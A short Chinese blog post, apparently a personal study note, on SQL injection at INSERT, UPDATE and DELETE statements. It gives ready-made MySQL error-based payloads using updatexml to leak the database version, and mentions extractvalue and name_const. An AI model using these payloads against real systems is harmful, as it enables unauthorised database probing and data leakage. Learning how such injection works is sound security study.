zoukankan      html  css  js  c++  java
  • insert,update和delete下的注入

    PS:刚开始看到这个注入方式的时候,问米哥:“为啥updatexml就足以报错了,为啥还要使用insert?”知道答案的我觉得问了一个傻蛋的问题。不过没关系。慢慢积累。答案很简单,并不是所有的注入点程序里面执行的都是select语句,也可以是别的。比如insert、update、以及delete。

    注入语法

    insert into users (id, username, password) values (1,''inject here'','DEF');
    insert into users (id, username, password) values (1,""inject here"",'DEF');

    注意有个是单引号,有个是双引号。可根据实际场景灵活运用!

      updatexml of payload:and updatexml(1,concat(0x7e,(select @@version),0x7e),1)

    insert:

    insert into users(id,username,password) values(1,updatexml(null,concat(0x7e,(select @@version),0x7e),null),'DEF');

    update:

    update users set password='DEF' or updatexml(1,concat(0x7e,(select @@version),0x7e),2);

    delect:

    DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0);

    当然了除了updatexml这个函数还有extractvalue函数。以及我还没有学到的“name_const()”


    THE END

  • 相关阅读:
    uva 1637 Double Patience
    Emacs ^ Vim
    uva 11181 Probability|Given
    uva 10491 Cows and Cars
    uva 1636 Headshot
    hdu 4336 Card Collector
    zoj 3640 Help Me Escape
    Codeforces 148 D Bag of mice
    hdu 4405 Aeroplane chess
    hdu 3853 LOOPS
  • 原文地址:https://www.cnblogs.com/xishaonian/p/6276727.html
Copyright © 2011-2022 走看看